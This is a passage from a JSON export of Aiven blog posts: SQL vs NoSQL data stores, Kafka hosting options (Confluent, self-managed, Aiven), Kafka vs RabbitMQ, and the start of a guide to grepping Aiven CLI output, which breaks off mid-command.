search data store, like Elasticsearch.\n\n## Breaking SQL and NoSQL databases down further\n**PostgreSQL** and **MySQL** are both examples of **SQL/RDBMS** databases. **Elasticsearch**, **MongoDB**, **Redis**, **Cassandra/ScyllaDB**, are all examples of **NoSQL** data stores. The comparison between NoSQL to relational databases [looks as follows](https://dzone.com/articles/nosql-vs-sql-differences-explained):\n\n| **SQL/RDBMS**                                                                                                       | **NoSQL**                                                                                   |\n|---------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------|\n| Relational                                                                                                          | Non-relational                                                                              |\n| Fixed schema, table based                                                                                           | Many types are not table-based; if they are, schemas are not usually fixed.                 |\n| Vertically-scalable (expandible primarily by adding more memory and processing power to the same server).           | Horizontally-scalable (expandible primarily by adding more nodes/computers to the network). |\n| Generally not distributed. Transactions adhere strictly to ACID (Atomic, Consistent, Isolated, Durable) properties. | If distributed, follows the CAP theorem.                                                    |\n\n\nIt’s probably worth clarifying though, that as each of these solutions evolve, _they are starting to assume more of the features of each other_. For example, both Cassandra and Elasticsearch can be vertically scaled within the same server and PostgreSQL [can be distributed](https://www.quora.com/Is-PostgreSQL-a-distributed-and-scalable-database) (but not sharded) — although each were originally not built that way.\n\n## NoSQL database types: feature comparison\nTo even better understand the distinction, we can also consider the differences within the NoSQL database category:\n\n| **Type**                      | **Examples**        | **Features**                                                                                                                                                |\n|-------------------------------|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Key-value pair                | Redis               | Fast, in-memory database platform offering native support for a wide range of data structures. Often used also as part of a cache or message broker system. |\n| Text search / Document Store  | OpenSearch          | Full text search and analytics engine; works in near real time, including indexing.                                                                         |\n| Time-series                   | InfluxDB, Timescale | Simple DBMS for storing time series, events, and metrics.                                                                                                   |\n| Distributed wide-column store | Cassandra           | Distributed, wide-column store best suited to multi-cloud or multi-data center environment.                                                                 |\n\n## Which is best to use, and when?\nIf you could answer the question, \"Why NoSQL?\" in only only a few words, they would probably boil down to _scale_ (including flexibility of scale), _flexibility_ (including of schema and type constraints), or _latency_ and _performance_ (including throughput).\n\nSecondary considerations may include the size of the community (as well as the support and documentation you're likely to find) or the [level of industry adoption](https://db-engines.com/en/ranking) as a measure of popularity, and thus reliability and fitness for purpose of a given solution.\n\nOf course, there's more to it. While NoSQL offerings are built around these concepts, **RDBMS** databases remain the preferred choice in industries and applications involving **transactional data**, where **ACID properties are essential**: user authentication and access-rights management, healthcare, banking, resource allocation and inventory management, and shopping carts to name but a few.\n\nRDBMS databases come with the long-established promises of isolation, security, and referential integrity; and, there's no seeing those requirements go away any time soon.\n\nHowever, in applications involving **high-volume**, **fast-moving** analytics data from **sensors**, **applications**, or **complementary systems**, a **NoSQL** solution with different features or attributes might be a better fit.\n\nWhat kind of needs do you have? A fast-lookup with caching features, like a key-value store? A more flexible document-store for searching through larger records, or even text search for unstructured data? Maybe a distributed wide-column store with tunable consistency, or a store specialized for time-series data?\n\nNoSQL is an evolution from RDBMS databases to better serve specific needs. The \"best\" in any case is what suits _your_ needs; remember to assess your existing infrastructure and team to find areas where gaps can become strengths.\n\n### But it's not as simple as that\nNote that most data pipelines and data architectures will use a combination of data stores for different purposes. In a [lambda architecture](https://en.wikipedia.org/wiki/Lambda_architecture), for example, a datastore like Cassandra might be used to capture and store large volumes of historical data where slower read access is allowed, while Elasticsearch may be deployed in parallel to capture recent, less structured data that requires a fast, low-latency, but very flexible search.\n\n![image showing data stream split into a lambda architecture](https://cdn.sanity.io/images/sczeoy4w/production/e0724f6dbe97bea01203ada90030a464636c4bd7-1999x1354.png)\n\nBased on: Wikipedia, [Lambda Architecture](https://en.wikipedia.org/wiki/Lambda_architecture)\n\nYet another architecture might include a time-series database to the above to track timestamps for events. And, other systems may contain a transactional component where a NoSQL store is used for analytics of fast data retrieval and an RDBMS is used for transactional data.\n\n## Wrapping up\nToday, there are more data sources than ever: website tracking, cloud-stored flat files, CRM, other databases, eCommerce, marketing automation, ERP, IoT, other large datasets via REST APIs, and mobile apps, etc. **The ability to mash up and transform data** ultimately means getting competitive insights from all of your data.\n\nWe’ve looked at the data continuum: data stores as they handle the spectrum of data from fully-structured to unstructured: from _RDBMSes_ to _wide-column stores_ to _key-value stores_ to _full-text search_.\n\nWe’ve then simplified the comparison, looked at database choice criteria, and considered the lambda architecture: when data pipelines have multiple stores for multiple purposes.\n\nSo where on the spectrum does your data lie? And how will you put your data pipeline together? Aiven provides fully-hosted and managed cloud databases and messaging services on all major cloud providers across the globe. [Get started](https://console.aiven.io/signup) today.\n\n### References\nJohn Hammink, for Alooma: [NoSQL vs. SQL: Differences Explained](https://dzone.com/articles/nosql-vs-sql-differences-explained)\n\n\n## Further reading\n\n- [Time travel: two-dimensional time with bitemporal data](https://aiven.io/blog/two-dimensional-time-with-bitemporal-data)","categories":[{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-28db871b1d3e702d4b1afe5faa075880191d4b56-752x405-png","_type":"reference"}},"publishedAt":"2019-07-08T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"To know which data store is best for your data, it's helpful to understand where your data lies on the continuum of structured to unstructured data.","metaImage":{"alt":"","asset":{"_ref":"image-28db871b1d3e702d4b1afe5faa075880191d4b56-752x405-png","_type":"reference"}},"metaTitle":"Aiven's insights into the data continuum – Find out more"},"slug":{"_type":"slug","current":"/blog/the-data-continuum-examined"},"subtitle":"To know which data store is best for your data, it's helpful to understand where your data lies on the continuum of structured to unstructured data.","title":"The data continuum, examined"}
{"__i18n_lang":"en","_createdAt":"2022-10-25T10:53:57Z","_id":"1dde1cae-7782-4a8d-9e54-3d2fdf76ce2a","_rev":"ejVwHgKe5k9eDWbchuQ1hO","_type":"post","_updatedAt":"2024-07-11T12:32:13Z","authors":[{"_key":"b278a2479ef1","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\n- [First part](#first-part)\n- [Second part](#second-part)\n- [Wrapping up](#wrapping-up)\n\nimage links: ![image](image URL)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n***Information and content updated on February 2024***\n\nShould you self-manage, or should you get Apache Kafka® managed and hosted? Should you go for an on-premises solution, or deploy your streaming data infrastructure in a cloud provider of your choice? And if you choose managed cloud, which provider should you trust? In this blog post, we’ll be asking some searching questions to help you figure out which Apache Kafka alternative is right for you. We’ll compare three potential setups that will get your streaming data going:\n\n- Self-managed Apache Kafka\n- Fully-managed Apache Kafka available from Confluent\n- Aiven for Apache Kafka\n\n|   Self-managed Apache Kafka is good for…  \t|                                 Aiven for Apache Kafka is good for…                                \t|                                       Confluent’s managed Apache Kafka is good for…                                      \t|\n|:-----------------------------------------:\t|:--------------------------------------------------------------------------------------------------:\t|:------------------------------------------------------------------------------------------------------------------------:\t|\n| + Self-managed Apache Kafka configuration \t| + Pre-existing default setups based on your use case and scalability potential of your application \t| + Pre-existing default setups based on your use case and scalability potential of your application                       \t|\n| + Full up-close access control            \t| + External experts to manage your Apache Kafka environment                                         \t| + External experts to manage your Apache Kafka environment                                                               \t|\n| + Full control of premises                \t| + No costs from premises: walls, A/C, power, security…                                             \t| + No costs from premises: walls, A/C, power, security…                                                                   \t|\n|                                           \t| + No need to pay for hardware                                                                      \t| + No need to pay for hardware                                                                                            \t|\n| + No need to sign up for a cloud account  \t| + Can leverage existing cloud account (Bring-Your-Own-Cloud)                                     \t|                                                                                                                          \t|\n| + You own your servers                    \t| + Dedicated servers for VMs                                                                        \t| + Dedicated servers for VMs (higher pricing tiers only****)                                                              \t|\n| + Highly granulated costs                 \t| + Predictable price with networking and storage costs included                                        \t| + Low price at start (price hike comes with more features)                                                               \t|\n|                                           \t| + Wide range of integrations and connectors                                                        \t| + + Wide range of integrations and connectors                                                                              \t|\n|                                           \t| + Out of the box monitoring AND plug-in monitoring solutions                                       \t| + Out of the box monitoring AND plug-in monitoring solutions                                                             \t|\n|                                           \t| + Migration service in and out without additional data transfer costs                                            \t|  Migration service in and out, data transfer costs added to cluster cost                                                                                                                        \t|\n|                                           \t| + Consistent availability (SLA of 99.99%) across all plans                                         \t| + Consistent availability (SLA of 99.95% across Basic and Single AZ clusters, SLA of 99.99% only on Multi AZ clusters*).  \t|\n|                                           \t| + Best ‘Quality of Support’ for stream processing platforms***                                     \t|                                                                                                                          \t|\n\nLet’s go over some of the key questions you should be asking when deciding on whether you’re planning to manage Apache Kafka yourself or choose a fully-managed Apache Kafka. Some of them might surprise you!\n\n## Q1: Who should manage and maintain your Apache Kafka environment?\n\n**I want full control of everything - I have the qualified staff and no problems hiring.**\n\nIf control at any cost is your priority, then a self-hosted on-premises Apache Kafka might be good for you. The learning curve is steep, but since you say you have the qualified staff with enough time, that won’t be a problem. \n\nJust remember, getting the clusters set up is only the start; you’ll need to implement security, install patches and updates, manage access rights and so on. (We don’t want to sound negative, but it actually is quite a lot of work.)\n\n**I don’t want my company to have to manage Apache Kafka, my staff don’t have the time or the skills.**\n\nIf you want to forget about your Apache Kafka clusters 99.99% of the time and still have them be operational 99.99% of the time, get a managed solution. \n\nThe ease of operations with a managed Apache Kafka service is great if you don’t want to spend money on hiring experts. You can let your chosen vendor operate and maintain your Apache Kafka for you. \n\nYou do need someone on your side with a cursory understanding of the systems you use, but finding and hiring that talent is far easier than finding someone able to operate, manage and maintain your Apache Kafka clusters and environment in production.\n\n## Q2: Where should your streaming data infrastructure be physically located?\n\n**At my own premises - we’re in a regulated industry**\n\nCompanies in regulated industries may need an on-premises installation for legal compliance. This will vary depending on the country. \n\nHowever, if the legal requirement is only for the data to be located within the borders of a certain country or area, some fully-managed services (like Aiven) offer the option of selecting a specific data center and Availability Zone to deploy your Apache Kafka clusters in.\n\nWith Aiven’s easy migration process, you can also employ a hybrid model. Leave the applications handling confidential information on your on-premises environment, and migrate non-confidential topics / data streams to the cloud. You can always specify an AZ that is still fully compliant with your local regulations. \n\n[Aiven for Apache Kafka cloud providers and AZs](https://aiven.io/pricing?product=kafka) are free to browse; play around with the pricing widget to see if you can benefit.\n\n**In a cloud - I don’t want to pay for walls**\n\nYou might need your Apache Kafka clusters to be available in a wide area. Or perhaps you just don’t want to pay for hardware, not to mention facilities which tend to include things like physical access control, electricity, air conditioning and building rent. If the traffic costs and lag aren’t an issue--possibly because your business is local--then deployment to a single public cloud environment may fit your needs.\n\nThe degree to which you want to self-manage this environment is a separate issue; see above for guidance.\n\n**In a global cloud environment, a hybrid environment, or multiple clouds - I need wide, instantaneous availability**\n\nIf you anticipate your data streaming cluster to be accessed from a wide geographic area and via multiple public clouds, a multi-region, multi-cloud deployment may make sense. If this is your choice, a managed environment is usually the one that makes sense; managing multi-cloud deployments yourself is an order of magnitude more difficult than maintaining a single cluster.\n\n## Q3: If in the cloud, do you have an existing cloud account?\n\n**Yes, and I want to leverage that**\n\nIf you already have a cloud account, the easiest option may seem to be deploying a self-managed Apache Kafka to that cloud, especially if the provider already offers it as a managed service. \n\nBut that’s not the only way. Many data platforms, Aiven included, offer a [Bring Your Own Cloud (BYOC)](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc) option. This allows you to benefit from any bonuses you’ve accumulated while also taking advantage of the benefits of a managed service.\n\n**No, and I’m fine subscribing through a provider**\n\nBy far the easiest way to set up an Apache Kafka based streaming infrastructure on the cloud is to sign up via a vendor offering fully-managed Apache Kafka. But which one? To compare just two under discussion: \nWith Confluent your networking costs are invoiced on top of the existing service fee** and ingress/egress fees per cloud provider.\nWith Aiven your networking costs are included in the flat service fee.\n\n## Q4: Do you need dedicated servers for your VMs in the cloud?\nYou’ll probably want your VMs to reside on a dedicated server. This allows you to avoid having to share computing resources with potentially noisy neighbors, and it also reduces security risks. \n\nIf you self-manage an on-premises solution, this is easy - just have one server per system, since you control the physical machines. \n\nBut going to the cloud doesn’t necessarily mean giving up on this requirement. At Aiven, all VMs run on dedicated servers in all pricing plans, and even Confluent offers dedicated servers, although only on their Dedicated Clusters**** that come with higher pricing tiers. \n\n## Q5: What do you want to use for monitoring?\n\n**I have / will build my own custom solution**\n\nIf your monitoring needs are very specific and complex to the point where you’ve built your own system, then of course you need to choose your cloud solution based on which one can accommodate them. It’s hard to give specific advice here, other than do copious amounts of research to ensure that the environment is suitable.\n\n**I’m using a range of specific monitoring systems**\n\nResearch is also required when choosing how to implement a ready-built solution hinging on a number of monitoring tools, whether open source or proprietary. Some might be offered by a data platform provider as managed solutions (such as [Aiven for Grafana](https://aiven.io/grafana)), or you might be able to connect to an external one. Aiven for Apache Kafka allows you to connect to external monitoring tools and add your Apache Kafka service specific information to your existing monitoring infrastructure.\n\n**I want an out of the box solution**\n\nThe easiest way out of the dilemma, barring special requirements, is to take advantage of a managed monitoring package.\n\nAs fully managed Apache Kafka alternative solutions, both Confluent Cloud and Aiven for Apache Kafka offer out-of-the-box monitoring tools. Confluent Cloud has a packaged Control Center that you can use to monitor the whole Confluent platform at once as well as integrations with external monitoring systems. \n\nAiven on the other hand offers a Grafana-based monitoring screen out of the box, but also a super-easy way to integrate other services.\n\n## Q6: What else needs to live in the same ecosystem?\n**I want to extend it with PostgreSQL, OpenSearch, Redis... basically, a rich selection of open source technologies**\n\nIt’s the nature of a stream processing system that your Apache Kafka environment will need to connect to external sources and sinks (be it on the cloud or not). Managing and connecting those systems adds extra complexity to your data stack. With a managed service like Aiven for Apache Kafka, you can seamlessly integrate your Apache Kafka streaming data to other Aiven managed services, such as PostgreSQL, OpenSearch, Redis to name a few.\n\n**I’ll build my own extensions and integrations**\n\nManaging and maintaining extensions and connections to your ecosystem can be a daunting task for your operations teams. Especially with version upgrades, ensuring backwards compatibility between connectors and systems in your data stack; so be prepared to have your team ready for some extra work and maintenance when it comes to connectors and extensions. \n\n## Q7: What is your availability requirement?\n\n**I want five nines!**\n\nIf your SLA requirement for your Apache Kafka clusters is 99.99%, then a managed service might be the best option. Aiven for Apache Kafka ensures four-nines across all plans, backed by a dedicated SRE team. \n\nAlternative Apache Kafka providers in the market might be offering 99.95% SLA guarantees for some of their plans and 99.99% in some of the pricier options. Be sure to get some solid research on what the impact of this might be in your organization and make sure you choose accordingly. \n\n**It’s okay to have frequent service breaks, I don’t need to pay extra for that**\n\nIf frequent service breaks are okay for you in your data streaming, then self-managing a Kafka environment might be a good enough option. For non-production, non-mission critical applications, your team might well be the best at operating the environment. \n\nBut once your services move to production or have to handle critical business events and data, additional planning and extra resources might be needed. This can have a big impact on the total cost of ownership of such a solution or application.\n\n## Q8: Will you be migrating from elsewhere, or do you want to stay migration-ready?\n\n**No, I’m fine, we’re starting from scratch**\n\nIn that case, you can ignore this section and move on to the next one! … But wait. Are you quite sure that your migrating days are over? What happens if you choose to self-manage and your team quits? Maybe you should keep reading.\n\n**Yes, I need to bring my existing Apache Kafka clusters to the new system**\n\nIf you want to bring your old Apache Kafka clusters into a managed service, then you might want to look into the open source tooling for [Aiven for Apache Kafka MirroMaker 2](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2). It offers a smooth migration process to a cloud environment (and across cloud environments) for disaster recovery scenarios. \n**Yes, I want to be able to pick up and leave when I want to**\n\nSame as above. With open source tooling, like MirrorMaker2, you can easily pick up your data streams where you left off while remaining flexible at all times.\n\n## Q9: What about the price and billing?\n\n**I want to pay for network costs separately and extensively customize my system based on price - no paying for nothing!**\n\nFor extensive cost-based customization, a managed service alternative like Confluent Cloud and their pricing might be a fine option. But stop to ask yourself a few questions first: \n\n- How do you expect the networking costs to evolve overtime? \n- What is the mid to long term impact of more streaming data flowing through your services and\n- How does that impact your TCO in the long run? \n\n**I want it easy, just one invoice to pay**\n\nIn self-managed data streaming solutions, paying all the separate bills and targeting the costs appropriately is a headache. Even in managed solutions, Confluent for example invoices network costs separately. \n\nIf you want to keep things simple, Aiven’s predictable pricing might be the best solution. With Aiven for Apache Kafka, not only do you get a fully managed Kafka solution but you can also easily predict what the monthly cost of your service will be — without worrying about excess costs for networking or egress/ingress. Check out the [Aiven pricing page](https://aiven.io/pricing?product=kafka) for more details. \n\n**The price has to be low, that’s all that matters**\n\nCost efficiency is something that every organization and developer team should take into account. And self-managing open source software like Apache Kafka might be the easiest alternative to get you started. \n\nHowever, as the requirements evolve and increase, so might the necessary level of expertise (be it Apache Kafka development expertise or operational know-how around Apache Kafka). \n\nYou need to carefully plan the lifecycle of the service. It might be a factor in future costs, such as hiring and retaining the appropriate talent and ensuring that SLA guarantees are being met. \n\n\n----\nFootnotes\n\n\\* Information according to Confluent’s [pricing page](https://www.confluent.io/confluent-cloud/pricing/).\n\n** Information according to Confluent’s pricing page for [networking](https://www.confluent.io/confluent-cloud/pricing/#networking).\n\n*** Quality of support of 8.4 for Aiven vs Confluent at 8.2 - according to data from [G2 Crowd](https://www.g2.com/categories/event-stream-processing), February 2024.\n\n**** Confluent Cloud’s [documentation](https://docs.confluent.io/cloud/current/clusters/cluster-types.html#ccloud-features-and-limits-by-cluster-type) page mentions single-tenant deployments only for dedicated clusters. \n\n\n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\n\n## Further reading\n\n- [Benchmarking Apache Kafka Performance Part 1: Write Throughput](https://aiven.io/blog/benchmarking-kafka-write-throughput)\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"6ce4a259b55f","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","asset":{"_ref":"image-40cfdb302a83cd5be90ec8b6c5ce40bdb03d0d56-3133x1688-png","_type":"reference"}},"publishedAt":"2022-10-28T11:07:00.000Z","related":[{"_key":"e3a30771dff7","_ref":"1CuVhL1qTea2bGbOOf2mOS","_type":"reference"},{"_key":"32cfdb392179","_ref":"5tcvRybcSkU7QRXuhXA7vZ","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Apache Kafka for Confluent vs Aiven vs self-managed data streaming - what’s the difference? Compare features and benefits here!","metaTitle":"Apache Kafka: Confluent vs self-managed vs Aiven"},"slug":{"_type":"slug","current":"/blog/confluent-kafka-vs-apache-kafka-vs-aiven"},"subtitle":"Aiven isn't the only thing out there. In this post, we compare Confluent's offering with Aiven's, and match both against self-managed solutions. Find out more!","title":"Apache Kafka®: Confluent vs self-managed vs Aiven"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"3tNJVcx9wrILzuyGlZQdYc","_rev":"neae7oL4y1FotDvvRKGAO9","_type":"post","_updatedAt":"2024-07-11T09:03:04Z","authors":[{"_key":"3gXeb4zb5wJU5CvLnVioH","_ref":"3gXeb4zb5wJU5CvLnVioH","_type":"reference"}],"body":"## Choosing Between Apache Kafka and RabbitMQ\n\nThere are many roads that can lead to the moment you decide you need a queue. Queues are an excellent way to loosely couple many different components and allow them to exchange data without detailed knowledge about one another. Using a queue is also an excellent way to distribute work between multiple nodes to perform asynchronous tasks.\n\nQueues come in different flavours and success is morely likely when you can use the queue that best fits the shape of your use case. There's some overlap between the use cases but in general it can be summarised as choosing between a job queue and a message queue.\n\n### Processed and Forgotten: RabbitMQ\n\nA job queue such as RabbitMQ is a good choice when work is being delegated to an asynchronous endpoint, such as a serverless function. The classic example is resizing an image. When a user uploads a new image, the application needs to produce a thumbnail or some custom sizes for that image, but the user shouldn't have to wait for that work to be completed before getting on with what they were doing. So we can put the request onto a queue and carry on with generic placeholder images, until the resizing is complete.\n\nRabbitMQ is a popular message broker and is a good fit for those job-shaped application requirements. It's an open source tool and here at Aiven we're big fans of all the open source tools. RabbitMQ supports multiple protocols, has predefined exchange types and has configurable flexible routing. When you work with a job queue, the message broker transports the messages to the place where they are processed. The job gets processed once (technically \"at least once\"), and then it is completed and is removed. \n\n### Event-Driven Application: Apache Kafka\n\nIn contrast with the RabbitMQ model, message queues can also be more of data bus in architecture terms, a conduit for communicating the events throughout the application . A message (called a \"record\" in our favourite message queue tool, Kafka) is put onto the bus and then any interested consumers, now or in the future, can access and consume the message. The message persists so that other consumers can also access the data, either at the time that the data is added (\"produced\" in Kafka terminology) to the message bus, or later if we decide we want to revisit the data for additional analysis.\n\nWe commonly see Apache Kafka used in [event-driven](https://aiven.io/blog/introduction-to-event-driven-architecture \"Aiven blog: Introduction to event-driven architecture\") applications where data must flow between multiple components in the application. Using this distributed message bus model gives a great deal of scalability and it's not a coincidence that the roots of the open source Apache Kafka tool are in the software stack of LinkedIn, a company with a lot of data and many components consuming it. Kafka is a distributed log of past events, which gives the advantage that every past change is also always still available, so you can build features based on the events or simply have the peace of mind that the data will always be available for inspection or audit if needed.\n\nKafka is quite approachable as a technology, you can either install it yourself or take up the free trial available on the Aiven platform to get started. It's ideal for getting to know the technology, with a friendly web interface to get you on the right track and a selection of connectors that can be added easily. It can be scaled up to handle colossal workloads and we see some very large clients with some great performance on our platform.\n### More Resources\nThinking about the shape of the data requirements that you have will ensure you pick a queue that works for you. If it's a task on a task list, then try RabbitMQ. But for data that needs to flow around your application and drive multiple integrations, Kakfa is probably your best bet. If you'd like to know more, then some of these links may be useful:\n\n* [What is Apache Kafka](https://aiven.io/blog/what-is-apache-kafka)\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Getting Started with Aiven for Apache Kafka](https://help.aiven.io/en/articles/489572-getting-started-with-aiven-kafka)\n* [`avn`, the Aiven CLI tool](https://github.com/aiven/aiven-client)\n* [Learn about tools for Apache Kafka](https://help.aiven.io/en/articles/3325560-kafka-tools)\n* [Apache Kafka®: Confluent vs self-managed vs Aiven](https://aiven.io/blog/confluent-kafka-vs-apache-kafka-vs-aiven)\n\nOf course, we'd love you to try [Apache Kafka on the Aiven platform](https://aiven.io/kafka \"Aiven for Apache Kafka product page\") if you read this far and think you have Kafka-shaped requirements! Sign up and let us know what you build.\n\n## Wrapping up\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog/feed.xml) and [blog](https://aiven.io/blog/feed.xml) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844-png","_type":"reference"}},"publishedAt":"2021-02-01T00:00:00.000Z","seo":{"metaDescription":"RabbitMQ or Apache Kafka? Read our comparison of their key features and how they process queues differently, and decide which is better for you!","metaImage":{"alt":"","asset":{"_ref":"image-ee8ce3adf02b7453f4ac569b2314a80d106b2554-1567x844-png","_type":"reference"}},"metaTitle":"Kafka v. RabbitMQ - a comparison"},"slug":{"_type":"slug","current":"/blog/kafka-v-rabbitmq-a-comparison"},"subtitle":"RabbitMQ or Apache Kafka? Read our comparison of their key features and how they process queues differently, and decide which is better for you!","title":"Kafka v. RabbitMQ - a comparison"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"3sVwN1PfHnfXpvu2qlniw2","_rev":"4aR3mHUmfiHzqe5Saw9XiP","_type":"post","_updatedAt":"2024-10-07T12:29:22Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"\u003e Things have moved on since 2019, and we've continued improving the Aiven command line tool.\n\u003e There's a new blog post at [Get things done with the Aiven CLI](https://aiven.io/blog/aiven-cmdline) which explains how to get started, and how to manage a PostgreSQL® service from start to finish. It also gives examples of using the `--json` switch and the `jq` tool to extract data in a more powerful way than with `grep` and friends.\n\nYou can do most of your Aiven service administration straight from your [Aiven Console](https://console.aiven.io/). However, for those times when you need to run a quick shell command on our CLI (command line interface) to check service status, power on or off services, filter through available plans or clouds, upgrade some of your services or watch for patterns in event logs, this guide is for you.\n\nYou can also use these commands for scripting and automation, as a basis for constructing your own commands or aliases, or even to dig deeper into the CLI for more possibilities. In this article, we’ll focus more on grepping through the sometimes rather lengthy and / or verbose ```avn``` outputs to find specific information more easily — although there are some admin and service deployment commands included.\n\nWhile intended for use with our CLI, we also hope you’ll find this as a useful guide to get familiar with — or to revisit -- some basic bash scripting.\n\nFeel free to copy / paste, __but remember to adjust to the variables you need,__ for example your ```--cloud```, and/or your ```--project``` setting depending on what you’re trying to do. Other variables may include such items as your login name as well as your chosen project and service instance names. Also, while we've specified writing to files or ```stdout```; or clearing screens for aesthetic purposes, feel free to customize the commands you need.\n\n\u003e Our list of commands here isn’t exhaustive but is complementary to the one on the [Aiven client’s github profile](https://github.com/aiven/aiven-client), with some overlapping on the basic stuff. Be sure to check out both!\n\nFinally, we’ll share the lot [on github](https://gist.github.com/Jammink2/e9b36ff0c9278e223a4404f473a676dd) and include a few keyboard-friendly aliases for useful commands that you can use as a basis for some of your own Aiven service deployment and DevOps infrastructure.\n\n## Table of Contents\n* [Installing the Aiven CLI](#installing-the-aiven-cli)\n* [Logging in and logging out](#logging-in-and-logging-out)\n* [Viewing clouds, services, regions and plans](#viewing-clouds-services-regions-and-plans)\n* [Creating, viewing, powering on or off, and deleting services](#creating-viewing-powering-on--off-and-deleting-services)\n* [Viewing and filtering event logs](#viewing-and-filtering-event-logs)\n* [AVN Help and miscellaneous options](#avn-help-and-miscellaneous-options)\n* [Creating aliases for regularly used commands](#creating-aliases-for-regularly-used-commands)\n* [Wrapping up](#wrapping-up)\n\n## Installing the Aiven CLI\nYou’ll need at least Python 3.7 or newer versions, with pip installed.\n\n```shell\npython -m pip install aiven-client\n```\n\nSee the [Aiven Client documentation](https://github.com/aiven/aiven-client) on Github for instructions for other platforms.\n\n## Logging in and logging out\n\n#### Login a user\n\n__NOTE: you’ll be prompted for your password.__\n\n```shell\navn user login \u003cuser@aiven.io\u003e\n```\n\n\u003e **Note:** we now recommend logging in with an access token (using the `--token` switch) - see [Log in to Aiven with `avn`](https://aiven.io/blog/aiven-cmdline#log-in-to-aiven-with-avn) in the 2022 article.\n\n#### Find help with user admin\n\n```shell\navn user -h\n```\n\n#### Get session/auth info on all users in your project\n\n```shell\navn user info\n```\n\n#### Logout\n\n```shell\navn logout\n```\n\n## Viewing clouds, services, regions and plans\n\n#### List all available services on Aiven\n```sh\navn service types\n```\n\n#### List all available clouds\n```sh\navn cloud list\n```\n\n#### List all available clouds in the United States\n```sh\navn cloud list | grep United\n```\n\n#### List the last 5 clouds alphabetically in the US\n```sh\navn cloud list | grep United | tail -5\n```\n\n#### List the first five clouds alphabetically in the US\n```sh\navn cloud list | grep United | head -5\n```\n\n#### List the first 20 clouds in the US region\n```shell\navn cloud list | grep United | head -20\n```\n\n#### List all clouds available in \"California\" region.\n\n__NOTE: writes a file (ca_clouds)__\n\n```shell\navn cloud list | grep -E \"California\" \u003e ca_clouds \u0026\u0026 cat ca_clouds\n```\n\n#### Exclude all clouds in Finland and California.\n__NOTE: writes to a file (not_ca_not_fi_clouds)__\n\n```\navn cloud list | grep -Ev \"California|Finland\" \u003e not_ca_not_fi_clouds \u0026\u0026 cat not_ca_not_fi_clouds\n```\n\n#### Count all clouds in a given region\n\n```\navn cloud list | grep -E \"California\" \u003e ca_clouds \u0026\u0026 wc -l ca_clouds\n```\n\n#### List clouds in successive alphabetical order by 3 specified regions\n\n```\nregions=('africa' 'australia' 'europe')\nfor r in \"${regions[@]}\"\ndo\n    avn cloud list | grep $r\ndone\n```\n\n#### List all clouds filtered by a specific cloud provider within two regions\n\n```\nclear \u0026\u0026 avn cloud list | grep -E 'europe|north america' | grep 'aws-'\n```\n\n#### Count the total number of available Aiven clouds\n\n```\navn cloud list | grep -Ev 'CLOUD_DESCRIPTION|=' \u003e clouds_adjusted \u0026\u0026 wc -l clouds_adjusted\n```\n\n#### List all clouds, sorted alphabetically by provider\n\n```\nproviders=('aws-' 'azure-' 'do-' 'google' 'packet')\nfor p in \"${providers[@]}\"\ndo\n  avn cloud list | grep $p\ndone\n```\n\n#### List all available plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo\n```\n\n#### List all available hobbyist plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'hobbyist'\n```\n\n#### List all available kafka plans, given the cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'kafka:'\n```\n\n#### List all available postgres and kafka plans within a specified cloud, filtered by CPU constraints\n\n```shell\nclear \u0026\u0026 avn service plans --cloud do-sfo | grep -E 'pg:|kafka:' | grep -E '8 CPU|16 CPU'\n```\n\n#### Count the number of available plans in a specific cloud\n\n```shell\navn service plans --cloud do-sfo | grep -E 'cassandra:|opensearch:|grafana:|influxdb:|kafka:|mysql:|pg:|redis:' \u003e plans_on_this_cloud \u0026\u0026 wc -l plans_on_this_cloud\n```\n\n#### Count all plans on a specific cloud with cost \u003c $10/hr\n\n```shell\navn 